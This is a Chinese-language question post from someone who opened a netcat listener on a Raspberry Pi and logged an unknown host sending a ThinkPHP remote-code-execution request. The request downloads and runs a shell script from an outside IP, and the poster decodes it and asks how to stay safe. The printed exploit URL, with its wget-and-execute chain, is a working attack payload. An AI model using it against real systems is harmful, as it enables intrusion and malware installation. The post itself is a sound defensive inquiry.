背景
我当时正在玩netcat,并尝试将其两个树莓pi与之连接。我通过tcp将pi1连接到运行了netcat实例的pi2。 我已经使用以下命令启动了netcat:
nc -nvlp 12345
这些选项是:
问题
运行命令时,未知的IP连接到我的pi2,并试图做一些奇怪的事情。这是我收到的输出:
pi2@raspberrypi:~ $ nc -nvlp 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from 167.99.214.206 46768 received!
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://167.99.219.142/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1
Host: 127.0.0.1
User-Agent: Sefa
Accept: */*
Accept-Language: en-US,en;q=0.8
Connection: Keep-Alive
我的结论
有趣的部分是GET
行。据我了解,它正在尝试执行以下操作:
cd /tmp; # Go to temp
wget http://167.99.219.142/ex.sh # Download a file from the connected IP
chmod 777 ex.sh; # Make downloaded file executable
sh ex.sh # Execute downloaded file
但是,当我查看/ tmp文件夹时,找不到任何文件,但是它有可能在执行后被删除。
我查找了IP地址here,但攻击者可能使用了VPN,并且可能来自任何地方。
问题
在任何打开的netcat套接字上执行代码真的那么容易吗?将来如何使其更加安全?我知道传输的数据未加密,但我对此并不在意,但是如果任何人都可以在我的硬件上执行代码,我以后将不再使用它。
非常感谢您能就此主题为我提供任何见识。